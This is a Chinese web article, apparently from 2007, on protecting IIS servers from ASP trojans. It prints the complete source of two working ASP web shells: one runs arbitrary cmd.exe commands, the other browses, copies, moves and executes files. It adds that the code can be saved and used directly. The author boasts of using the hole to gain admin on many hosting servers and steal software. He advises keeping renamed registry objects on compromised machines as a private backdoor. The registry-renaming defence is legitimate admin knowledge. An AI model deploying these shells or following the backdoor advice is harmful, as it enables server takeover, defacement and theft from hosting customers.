Web服务器上防范基于ASP程序的木马
来源:英雄源码 发布时间:2007-09-18 12:27:00
内容摘要:随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是Windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。
以下是第一款木马的代码:
<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.netWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
然后在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。
但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了:
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
’建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:
Set oScript = Server.CreateObject("WSCRIPT.SHELL.1")
这个后门木马就又可以执行了。
大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:
Set oScript = Server.CreateObject("WSCRIPT.SHELL888")
木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。
接下来让我们再来看下一款ASP后门木马程序的代码:
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") 目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") 建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%> <%
szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szCMD3 = Request.Form("text3") 目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell对象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") 执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。
最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。
言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:
set shell=server.createobject("shell.application")
跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)
其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
注:以上代码复制保存为ASP文件就可以直接使用了。
猜你喜欢
- 针对BIND DNS服务软件的安全配置情况,我们要充分利用BIND自身已经实现的保护功能,加强BIND安全性,从而能抵御目前已知的BIND安
- 本文研究的主要是虚拟机Linux桥接模式下设置静态IP的相关内容,具体介绍如下。之前一直使用NAT模式,测试时android端远程访问虚拟机
- 常言道:占地为王,网络也是一样。但是如今在站长界有一匹数目不少技术很菜的站长,熟称:菜鸟,他们占了地也不一定能为王。不懂技术确实阻碍了这些可
- 企业最有价值的资产通常是其数据库中的客户或产品信息。因此,在这些企业中,数据库管理的一个重要部分就是保护这些数据免受外部攻击,及修复软/硬件
- 内容摘要:以汉语全拼为标识的域名,因其特有的易记性而被国内众多网站广泛应用,近两年先后有土豆网、优酷网及蚂蚁网等大型网站高价收购应用全拼域名
- 北京时间10月27日消息,据国外媒体报道,Google日前推出一项新功能,让用户无需切换到一个特殊的电话号码就可以使用谷歌语音(Google
- 7月23日晚间消息,阿里巴巴集团董事局主席马云刚刚发布内部邮件,号召阿里巴巴全体准备“过冬”,以下为该邮件全文.各位阿里人:对阿里巴巴B2B
- 在安装配置过程中走过很多弯路,现在就简单点总结。方便大家学习参考。安装步骤如下:1、安装ftp,相信这步很简单# yum -y instal
- 概述上篇说到构建良好的架构,依托于基础设施建设(自动化测试、自动化部署、服务监控,服务发现、配置中心等等),决定成败的往往是基础设施建设,所
- 第一步:启用“性能”功能在FTP服务器中,点击“开始→运行”,在“运行”对话框中输入“perfmon.msc”命令后回车,弹出“性能”管理主
- ssh 无密码登录要使用公钥与私钥。linux下可以用用ssh-keygen生成公钥/私钥对,下面我以CentOS为例。有机器A(192.1
- 理解了活动目录的原理之后,现在我们就可以进行活动目录的安装与配置了,活动目录的安装配置过程并不是很复杂,因为WIN2K中提供了安装向导,只需
- 工作环境中遇到网络不正常,检测是某服务器异常往外发送数据
- Web和FTP服务器创建好之后,还需要进行适当的管理才能使用户的信息安全有效的被其他访问者访问。Web和FTP 服务器的管理基本相同,包括一
- 今天下午在上蓝色理想时在首页,点击论坛的页面时就出现了页面无法打开的问题,接着想进入论坛(http://bbs.blueidea.com )
- 1、后台用户名和密码是否是明文保存的?建议增加昵称字段,区别后台的用户,同时对用户名和密码进行非规范的md5加密,例如加密以后截取15位字串
- 查看了一下博客的链接,发现有一些在博客文章中的链接也被计算在友情链接在内,不太清楚它们会不会影响页面的权重,索性将这些都加上了”extern
- Hi,大家好;今天是双12,大家剁手了没。今天给大家带来的是《Linux查看服务器上的硬件信息》本篇文章的示例全部是在服务器(Inspur
- 帮朋友做个小导航时用到了下拉菜单,话说WordPress3.0以上版本的”wp_nav_menu()”真是好用,加上主题自定义菜单的设置简直
- 做一个有个性的个人网站,首先要明确自己的内容规划。A/符合自己的个性 网站有很多种不同的类型,你的网站属于什么类型?一个资源下载站?一个网络